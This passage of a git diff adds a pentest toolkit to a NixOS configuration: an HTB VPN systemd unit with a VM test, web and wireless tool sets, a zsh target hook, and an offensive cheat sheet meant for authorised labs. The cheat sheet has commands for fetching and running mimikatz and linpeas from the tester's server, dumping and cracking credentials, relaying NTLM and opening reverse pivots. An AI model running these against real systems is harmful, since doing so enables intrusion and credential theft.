changes.append(slug + " (release " + latest + ")") + # The version string often appears separately; flag it. + problems.append(slug + ": check the `version =` string still says " + + latest) + + if problems: + print("\nneeds your attention:") + for p in problems: + print(" " + p) + + if not APPLY: + print("\nnothing written. Re-run with --apply to re-pin.") + sys.exit(0) + + if text == original: + print("\nno changes to write.") + sys.exit(0) + + open(PKGS, "w").write(text) + print("\nrewrote " + PKGS + " (" + ", ".join(changes) + ")") + print("Review it, rebuild, then commit yourself — this never commits.") + ''; + + pentest-update = pkgs.writeShellScriptBin "pentest-update" '' + set -uo pipefail + PATH=${lib.makeBinPath [ pkgs.nix pkgs.nix-prefetch-scripts pkgs.coreutils ]}:$PATH + exec ${pkgs.python3}/bin/python3 ${script} "$@" + ''; + in + { + config = lib.mkIf on { + environment.systemPackages = [ pentest-update ]; + }; + }; +} diff --git a/modules/features/pentest/vpn.nix b/modules/features/pentest/vpn.nix @@ -0,0 +1,229 @@ +# modules/features/pentest/vpn.nix — the HTB VPN, as a systemd template unit. +# +# htbvpn list profiles in daemon.pentest.htb.vpnDir, active marked +# htbvpn up <profile> start it (stops whatever was up first) +# htbvpn down stop it +# htbvpn status unit state and the tunnel address +# htbip just the tunnel address, for pasting into payloads +# +# A template unit rather than a backgrounded `sudo openvpn`: it survives +# closing the terminal, its output goes to the journal (`journalctl -u +# htbvpn@lab_eu_free`), and `htbvpn down` reliably kills it instead of leaving +# an orphan holding tun0. +# +# Profiles are NOT Nix-managed. They are per-account files that rotate every +# time you regenerate them on the HTB website, so the directory is created for +# you and left alone otherwise. Drop the .ovpn in and `htbvpn list` sees it. +{ lib, self, ... }: +{ + flake.nixosModules.pentest-vpn = + { config, pkgs, lib, user, ... }: + let + cfg = config.daemon.pentest; + on = cfg.enable; + vpnDir = cfg.htb.vpnDir; + sudo = "/run/wrappers/bin/sudo"; + # The sudoers rules below name this exact path, and sudo matches on the + # resolved command. Calling a bare `systemctl` would resolve through PATH + # to a /nix/store/... path, match no rule, and ask for a password that + # `sudo -n` cannot supply. + systemctl = "/run/current-system/sw/bin/systemctl"; + + # Shared by htbvpn and htbip: the tunnel is whichever tun* exists, not + # necessarily tun0 — a second VPN, or a profile with `dev tun1`, moves it. + tunAddr = pkgs.writeShellScriptBin "htbip" '' + set -uo pipefail + for i in $(${pkgs.iproute2}/bin/ip -br link show type tun 2>/dev/null | ${pkgs.gawk}/bin/awk '{print $1}'); do + a=$(${pkgs.iproute2}/bin/ip -4 -br addr show dev "$i" 2>/dev/null | ${pkgs.gawk}/bin/awk '{print $3}' | ${pkgs.coreutils}/bin/cut -d/ -f1) + if [ -n "''${a:-}" ]; then printf '%s\n' "$a"; exit 0; fi + done + echo "htbip: no tun interface has an address — is the VPN up? (htbvpn status)" >&2 + exit 1 + ''; + + htbvpn = pkgs.writeShellScriptBin "htbvpn" '' + set -uo pipefail + PATH=${lib.makeBinPath [ pkgs.coreutils pkgs.gnugrep pkgs.gnused pkgs.systemd pkgs.gawk ]}:$PATH + DIR=${lib.escapeShellArg vpnDir} + + active() { systemctl list-units --type=service --state=active --no-legend 'htbvpn@*' 2>/dev/null \ + | awk '{print $1}' | sed -n 's/^htbvpn@\(.*\)\.service$/\1/p' | head -1; } + + profiles() { [ -d "$DIR" ] && find "$DIR" -maxdepth 1 -name '*.ovpn' -printf '%f\n' 2>/dev/null | sed 's/\.ovpn$//' | sort; } + + usage() { + echo "usage: htbvpn list | up <profile> | down | status" + echo " profiles live in $DIR (drop your .ovpn there)" + } + + case "''${1:-status}" in + list) + cur=$(active) + if [ -z "$(profiles)" ]; then + echo "no .ovpn profiles in $DIR" + echo "download one from HTB (Access → OpenVPN) and put it there" + exit 0 + fi + profiles | while read -r p; do + if [ "$p" = "$cur" ]; then echo "* $p (up)"; else echo " $p"; fi + done ;; + + up) + p="''${2:-}" + [ -n "$p" ] || { echo "htbvpn: which profile?" >&2; usage >&2; exit 2; } + # The instance name becomes part of a path in the unit's ExecStart, + # so refuse anything that is not a plain file name. + case "$p" in + "" | .* | *[!A-Za-z0-9_.-]*) + echo "htbvpn: bad profile name: $p" >&2 + echo " profile names are plain file names: letters, digits, _ . -" >&2 + exit 2 ;; + esac + if [ ! -f "$DIR/$p.ovpn" ]; then + echo "htbvpn: no such profile: $DIR/$p.ovpn" >&2 + echo "available:" >&2; profiles | sed 's/^/ /' >&2 + exit 2 + fi + cur=$(active) + if [ -n "$cur" ]; then + echo "stopping htbvpn@$cur first (one tunnel at a time)" + ${sudo} -n ${systemctl} stop "htbvpn@$cur.service" || true + fi + ${sudo} -n ${systemctl} start "htbvpn@$p.service" || { + echo "htbvpn: failed to start; journalctl -u htbvpn@$p" >&2; exit 1; } + for _ in $(seq 1 30); do + if a=$(${lib.getExe tunAddr} 2>/dev/null); then echo "htbvpn: $p up, tunnel $a"; exit 0; fi + sleep 1 + done + echo "htbvpn: $p started but no tunnel address after 30s; journalctl -u htbvpn@$p" >&2 + exit 1 ;; + + down) + cur=$(active) + [ -n "$cur" ] || { echo "htbvpn: nothing is up"; exit 0; } + ${sudo} -n ${systemctl} stop "htbvpn@$cur.service" + echo "htbvpn: $cur down" ;; + + status) + cur=$(active) + if [ -z "$cur" ]; then echo "htbvpn: down"; else + echo "htbvpn: $cur up, tunnel $(${lib.getExe tunAddr} 2>/dev/null || echo '(no address yet)')" + fi ;; + + -h|--help) usage ;; + *) usage >&2; exit 2 ;; + esac + ''; + in + { + config = lib.mkIf on { + environment.systemPackages = [ htbvpn tunAddr pkgs.openvpn ]; + + # The directory only; the profiles in it are yours. The parents are + # listed explicitly: a tmpfiles `d` line does not reliably create a + # missing ~/.config on a fresh account, which is why the VM test's + # `test -d` failed. + systemd.tmpfiles.rules = [ + "d /home/${user}/.config 0755 ${user} users - -" + "d /home/${user}/.config/htb 0700 ${user} users - -" + "d ${vpnDir} 0700 ${user} users - -" + ]; + + systemd.services."htbvpn@" = { + description = "HTB OpenVPN profile %i"; + after = [ "network-online.target" ]; + wants = [ "network-online.target" ]; + serviceConfig = { + Type = "simple"; + ExecStart = "${pkgs.openvpn}/bin/openvpn --suppress-timestamps --config ${vpnDir}/%i.ovpn"; + # Profiles often reference certs by relative path. + WorkingDirectory = vpnDir; + Restart = "no"; + }; + }; + + # Scoped exactly as fan-cli.nix does: wheel, no password, and only + # these two verbs on this one unit template. + security.sudo.extraRules = [ + { + groups = [ "wheel" ]; + commands = [ + { command = "/run/current-system/sw/bin/systemctl start htbvpn@*"; options = [ "NOPASSWD" ]; } + { command = "/run/current-system/sw/bin/systemctl stop htbvpn@*"; options = [ "NOPASSWD" ]; } + ]; + } + ]; + }; + }; + + perSystem = + { pkgs, ... }: + { + # The deliverable is a running tunnel, so this boots a VM. OpenVPN in + # static-key point-to-point mode configures its tun device before any + # peer answers, which is what lets a single node assert a real address. + checks.pentest-vpn-vm = pkgs.testers.runNixOSTest { + name = "pentest-vpn"; + + nodes.machine = { + imports = [ + self.nixosModules.pentest-options + self.nixosModules.pentest-vpn + ]; + daemon.pentest.enable = true; + _module.args.user = "daemonsec"; + users.users.daemonsec = { + isNormalUser = true; + extraGroups = [ "wheel" ]; + }; + }; + + testScript = '' + machine.wait_for_unit("multi-user.target") + d = "/home/daemonsec/.config/htb/vpn" + + machine.succeed(f"test -d {d}") + + # No profiles yet: `list` must say so and not fail. + machine.succeed("su -l daemonsec -c 'htbvpn list' | grep -q 'no .ovpn profiles'") + + # A missing profile must exit 2 and start nothing (plan Task 13 #4). + machine.fail("su -l daemonsec -c 'htbvpn up nosuchprofile'") + machine.fail("systemctl is-active 'htbvpn@nosuchprofile.service'") + + # Two static-key p2p profiles, each on its own tun device. + machine.succeed(f"openvpn --genkey secret {d}/static.key") + for name, dev, local, peer in [ + ("profileA", "tun0", "10.8.0.1", "10.8.0.2"), + ("profileB", "tun1", "10.9.0.1", "10.9.0.2"), + ]: + machine.succeed( + f"printf '%s\\n' 'dev {dev}' 'dev-type tun' 'ifconfig {local} {peer}' " + f"'secret static.key' 'remote 192.0.2.1' 'proto udp' 'ping 10' " + f"'data-ciphers-fallback AES-256-CBC' 'verb 3' > {d}/{name}.ovpn" + ) + machine.succeed(f"chown -R daemonsec:users {d}") + + # up: unit active and the tunnel really has an address. + machine.succeed("su -l daemonsec -c 'htbvpn up profileA'") + machine.wait_for_unit("htbvpn@profileA.service") + machine.succeed("ip -4 addr show tun0 | grep -q 10.8.0.1") + machine.succeed("su -l daemonsec -c htbip | grep -q 10.8.0.1") + machine.succeed("su -l daemonsec -c 'htbvpn list' | grep -q '\\* profileA (up)'") + + # Review Focus #5: switching stops the first one. Never two tunnels. + machine.succeed("su -l daemonsec -c 'htbvpn up profileB'") + machine.wait_for_unit("htbvpn@profileB.service") + machine.fail("systemctl is-active 'htbvpn@profileA.service'") + machine.fail("ip link show tun0") + machine.succeed("ip -4 addr show tun1 | grep -q 10.9.0.1") + + # down: nothing left holding a tunnel. + machine.succeed("su -l daemonsec -c 'htbvpn down'") + machine.fail("systemctl is-active 'htbvpn@profileB.service'") + machine.succeed("su -l daemonsec -c 'htbvpn status' | grep -q down") + machine.fail("su -l daemonsec -c htbip") + ''; + }; + }; +} diff --git a/modules/features/pentest/web.nix b/modules/features/pentest/web.nix @@ -0,0 +1,34 @@ +# modules/features/pentest/web.nix — web application testing. +# +# The GUI proxies (burpsuite, zap) are in gui.nix, not here, so a headless +# session can enable `web` without pulling a JDK and a desktop entry. +{ lib, ... }: +(import ./_sets.nix { inherit lib; }) { + name = "web"; + description = "directory fuzzing, injection, scanners, proxies"; + + packages = pkgs: with pkgs; [ + ffuf gobuster feroxbuster dirb + nikto sqlmap commix wfuzz + nuclei nuclei-templates + wpscan + joomscan # binary is `joomscan.pl` + dalfox arjun + jwt-cli # `jwt` + jwt-hack + mitmproxy + ]; + + expectedBins = [ + "ffuf" "gobuster" "feroxbuster" "dirb" + "nikto" "sqlmap" "commix" "wfuzz" + "nuclei" "wpscan" "joomscan.pl" "dalfox" "arjun" + "jwt" "jwt-hack" "mitmproxy" + ]; + + extraConfig = { pkgs, ... }: { + # nuclei writes its template tree to $HOME on first run and then tries to + # update it over the network. Point it at the Nix copy instead. + environment.sessionVariables.NUCLEI_TEMPLATES = "${pkgs.nuclei-templates}/share/nuclei-templates"; + }; +} diff --git a/modules/features/pentest/wireless.nix b/modules/features/pentest/wireless.nix @@ -0,0 +1,35 @@ +# modules/features/pentest/wireless.nix — 802.11 and on-the-wire capture. +# Off by default. `daemon.pentest.wireless.enable = true;` +{ lib, ... }: +(import ./_sets.nix { inherit lib; }) { + name = "wireless"; + description = "wifi attacks and packet capture"; + default = false; + + packages = pkgs: with pkgs; [ + aircrack-ng + hcxtools + bettercap + termshark + tcpdump + # The full wireshark, not wireshark-cli: gui.nix installs this same + # attribute, and two DIFFERENT wireshark builds both ship androiddump, + # dumpcap and friends — a profile collision when both categories are on. + # Identical paths merge fine. It provides `tshark` for headless use. + wireshark + ]; + + expectedBins = [ + "aircrack-ng" "airmon-ng" "airodump-ng" "aireplay-ng" + "hcxpcapngtool" "hcxhashtool" "bettercap" "termshark" "tcpdump" "tshark" + ]; + + extraConfig = { pkgs, lib, ... }: { + # As in gui.nix: the group and the dumpcap capability wrapper, without + # which capture needs full root. mkDefault so both modules can set it. + programs.wireshark = { + enable = lib.mkDefault true; + package = lib.mkDefault pkgs.wireshark; + }; + }; +} diff --git a/modules/home/cheats.nix b/modules/home/cheats.nix @@ -5,6 +5,7 @@ # nix-cheat rebuilding this machine: layout, nixos-rebuild, nh, add, desktop (Hyprland or Niri), secrets, repo # gpg-cheat GnuPG from the key hierarchy to signing, encryption, SSH, git, offline primary, fixes # niri-cheat Niri + Noctalia: every bind, Noctalia ipc, niri msg, wallpaper, settings, fixes +# pentest-cheat the offensive toolkit: htb workflow, recon, AD, pivoting, transfer, cracking, web, DFIR # # <name>-cheat the whole card <name>-cheat --list the section names # <name>-cheat SECTION one section <name>-cheat --raw the markdown itself @@ -18,7 +19,7 @@ flake.homeModules.cheats = { pkgs, lib, ... }: let - cards = [ "nix" "gpg" "niri" ]; + cards = [ "nix" "gpg" "niri" "pentest" ]; mkCheat = name: pkgs.writeShellScriptBin "${name}-cheat" '' set -uo pipefail diff --git a/modules/home/cheats/pentest.md b/modules/home/cheats/pentest.md @@ -0,0 +1,178 @@ +# pentest — the offensive toolkit on this machine + +Everything here is installed by `modules/features/pentest/`. Categories are +switched with `daemon.pentest.<category>.enable` in +`modules/hosts/laptop/configuration.nix`. Scope: authorised labs — HTB, CPTS. + +## htb — the box you are on + + htbvpn list profiles in ~/.config/htb/vpn + htbvpn up lab_eu_free start the tunnel (stops any other first) + htbvpn down stop it + htbip your tunnel address + + htbtarget 10.10.11.5 set the target + htbtarget 10.10.11.5 dc01.vintage.htb vintage.htb + ...and write /etc/hosts (Kerberos needs names) + htbtarget show it htbtarget clear forget it + + htb new escape 10.10.11.202 ~/htb/escape/{nmap,loot,creds,www,exploit} + htb ls boxes, newest first + +$TARGET, $RHOST, $IP and $BOX are exported in every terminal. + + Caveat: they refresh at each PROMPT. A shell already running a long command + keeps the old value until it returns. Open a new line, or re-run `htbtarget`. + + htbtime match the DC's clock (uses $TARGET) + htbtime off put normal time sync back + htbtime status are we holding a skew? + + Caveat: a held skew makes TLS certificates look invalid, so `nix`, `git` and + HTTPS may fail while it is on. `htbtime off` fixes it; so does a reboot. + +## recon — what is there + + nmap -sC -sV -oA nmap/initial $TARGET + nmap -p- --min-rate 10000 -oA nmap/all $TARGET + sudo nmap -sU --top-ports 100 $TARGET # UDP; needs root PATH, hence systemPackages + rustscan -a $TARGET -- -sC -sV + fscan -h $TARGET # all-in-one sweep + + nxc smb $TARGET -u '' -p '' # null session + enum4linux-ng -A $TARGET + smbclient -L //$TARGET -N + snmp-check $TARGET + ldapsearch -x -H ldap://$TARGET -s base namingcontexts + +## ad — active directory + + kerbrute userenum -d vintage.htb --dc $TARGET users.txt + nxc smb $TARGET -u user -p pass --shares --users --pass-pol + nxc ldap $TARGET -u user -p pass --bloodhound -c all --dns-server $TARGET + + GetNPUsers.py vintage.htb/ -dc-ip $TARGET -usersfile users.txt # AS-REP + GetUserSPNs.py vintage.htb/user:pass -dc-ip $TARGET -request # kerberoast + secretsdump.py vintage.htb/user:pass@$TARGET + certipy find -u user@vintage.htb -p pass -dc-ip $TARGET -vulnerable + + linWinPwn -t $TARGET -d vintage.htb -u user -p pass # drive most of the above + linWinPwn -t $TARGET -d vintage.htb -M ad_enum # one module + +BloodHound: two viewers, two formats, NOT interchangeable. + + rusthound-ce -d vintage.htb -u user@vintage.htb -p pass -c All -z + # -> CE format, for bloodhound-ce + bloodhound-python -u user -p pass -d vintage.htb -dc dc01.vintage.htb -c all + # -> LEGACY format, for bloodhound-legacy + + bloodhound-up # neo4j (+postgres), then browse :8080 + bloodhound-status bloodhound-down + bloodhound-legacy # the archived 4.3.1 GUI, for legacy JSON + + Feeding legacy JSON to CE (or the reverse) fails with an unhelpful parse + error. That is the usual way to lose an hour here. SharpHound CE lives in + $PAYLOADS/windows/amd64/ad/SharpHound.exe. + + bloodhound-legacy is an archived app on Electron 11 — nixpkgs dropped it for + that reason. Use it for your own lab data, nothing else. + + printerbug.py vintage.htb/user:pass@$TARGET $(htbip) # coerce auth (MS-RPRN) + ntlmrelayx.py -t ldap://$TARGET --escalate-user user + evil-winrm -i $TARGET -u user -p pass + +impacket's 70 scripts answer to both spellings: `secretsdump.py` and +`secretsdump`. Five did NOT get the bare name, because a real tool owns it — +reach for these instead: + + impacket-net impacket-ping impacket-smbclient impacket-split + impacket-mimikatz (so it is not confused with mimikatz.exe) + +Every script also has an `impacket-` form, so `impacket-secretsdump` works too. + + impacket pick a script (fzf, with its --help as preview) + impacket --list all 70 names + impacket getST -h run one by name + +## pivot — onto the next subnet + +ligolo-ng first: it gives a real interface, so every tool works unchanged. + + sudo ip tuntap add user $USER mode tun ligolo && sudo ip link set ligolo up + ligolo-proxy -selfcert # on this machine + # on the target, from $PAYLOADS: + # ligolo-agent.exe -connect <you>:11601 -ignore-cert + # then in the proxy: session; start; and route the subnet: + sudo ip route add 172.16.1.0/24 dev ligolo + + chisel server -p 8000 --reverse # fallback + # target: chisel.exe client <you>:8000 R:socks + + ssh -D 1080 user@host # then proxychains4 <cmd> + proxychains4 nxc smb 172.16.1.5 + +/etc/proxychains.conf is generated by Nix (programs.proxychains) — editing it +by hand does not work on NixOS, so change pivot.nix instead. + +## transfer — getting files across + + payload-serve HTTP on your tunnel address, port 80 + payload-serve 8000 ...on 8000 + payload-serve --smb impacket smbserver, share name `share` + payload-serve --list what is in the tree + +It refuses to start when the VPN is down rather than binding every interface. + + echo $PAYLOADS + $PAYLOADS/windows/amd64/creds/mimikatz.exe also mimikatz-2.2.0-*.exe + $PAYLOADS/windows/amd64/privesc/potato/ Juicy, Rogue, God, PrintSpoofer… + $PAYLOADS/windows/amd64/ad/Rubeus.exe 102 C# tools + $PAYLOADS/linux/{amd64,arm64}/agents/ ligolo-agent, chisel + $PAYLOADS/scripts/ad/PowerView.ps1 and nishang/ + $PAYLOADS/scripts/printer/ printerbug.py, CVE-2021-1675.py + + # on the target + certutil -urlcache -f http://$(htbip)/windows/amd64/creds/mimikatz.exe m.exe + iwr -uri http://$(htbip)/x.exe -outfile x.exe + wget http://$(htbip)/linux/amd64/privesc/linpeas.sh -O- | sh + +## crack — offline + + hashid hash.txt nth hash.txt + hashcat -m 13100 spns.txt $WORDLISTS/rockyou.txt # kerberoast TGS + hashcat -m 18200 asrep.txt $WORDLISTS/rockyou.txt # AS-REP + hashcat -m 1000 ntlm.txt $WORDLISTS/rockyou.txt # NTLM + john --wordlist=$WORDLISTS/rockyou.txt hash.txt + hydra -l user -P $WORDLISTS/rockyou.txt ssh://$TARGET + + echo $WORDLISTS rockyou.txt, seclists/, nmap.lst, wfuzz/ + +## web + + ffuf -u http://$TARGET/FUZZ -w $WORDLISTS/seclists/Discovery/Web-Content/raft-medium-directories.txt + feroxbuster -u http://$TARGET --depth 2 + ffuf -u http://$TARGET -H 'Host: FUZZ.vintage.htb' -w subdomains.txt -fs 0 # vhosts + nuclei -u http://$TARGET + sqlmap -u 'http://$TARGET/?id=1' --batch --dbs + wpscan --url http://$TARGET --enumerate u + searchsploit apache 2.4 + +burpsuite and zap are in the launcher (daemon.pentest.gui). + +## dfir — forensics (off by default) + + daemon.pentest.dfir.enable = true; # then: nh os switch + + vol -f mem.raw windows.pslist + chainsaw hunt evtx/ --sigma sigma/ hayabusa csv-timeline -d evtx/ + yara rules.yar ./sample capa ./sample + fls -r -o 2048 disk.img exiftool file.jpg + chntpw -l SAM # offline local accounts + +## nix — maintaining this + + nh os switch rebuild and activate + daemon.pentest.<cat>.enable = false; drop a category + nix develop ~/NixDaemon#pentest the whole kit, portable, no install + nix flake check every category's smoke test + pentest-update --dry-run see what newer pins exist diff --git a/modules/home/htb-shell.nix b/modules/home/htb-shell.nix @@ -0,0 +1,63 @@ +# modules/home/htb-shell.nix — makes the current target visible in every +# terminal, and in the prompt. +# +# The target itself is a file written by `htbtarget` +# (modules/features/pentest/htb.nix). A variable cannot be pushed into a shell +# that is already running, so instead zsh re-reads that file in `precmd`, +# which runs before every prompt. Set the target in one terminal and the next +# prompt in every other terminal has it: +# +# $TARGET $RHOST $IP the address $BOX the box name +# +# A shell sitting inside a long-running command keeps the old value until it +# returns. That is inherent to the approach and documented in pentest-cheat. +# +# This hooks in through programs.zsh.initContent rather than replacing +# anything: zsh's real configuration is the dotfiles' ZDOTDIR tree +# (modules/home/shell.nix), and this has to coexist with it. +{ ... }: +{ + flake.homeModules.htb-shell = + { config, lib, osConfig, pkgs, ... }: + let + cfg = osConfig.daemon.pentest or { }; + on = cfg.enable or false; + promptTarget = cfg.htb.promptTarget or false; + in + { + programs.zsh.initContent = lib.mkIf on (lib.mkOrder 1200 '' + # --- htb target, shared across terminals ------------------------------- + # Re-read before each prompt so a target set in another terminal shows up + # here. Cheap: three small reads of files in $XDG_STATE_HOME. + _htb_state="''${XDG_STATE_HOME:-$HOME/.local/state}/htb" + _htb_load() { + if [[ -s "$_htb_state/target" ]]; then + TARGET="$(<"$_htb_state/target")" + TARGET="''${TARGET%%$'\n'*}" + export TARGET RHOST="$TARGET" IP="$TARGET" + else + unset TARGET RHOST IP + fi + if [[ -s "$_htb_state/box" ]]; then + BOX="$(<"$_htb_state/box")" + export BOX="''${BOX%%$'\n'*}" + else + unset BOX + fi + } + autoload -Uz add-zsh-hook + add-zsh-hook precmd _htb_load + _htb_load + ''); + + # Rosé Pine love (#eb6f92) for the target, so it reads as "live fire". + programs.starship.settings = lib.mkIf (on && promptTarget) { + env_var.TARGET = { + variable = "TARGET"; + format = "[ 󰓾 $env_value]($style) "; + style = "bold #eb6f92"; + disabled = false; + }; + }; + }; +}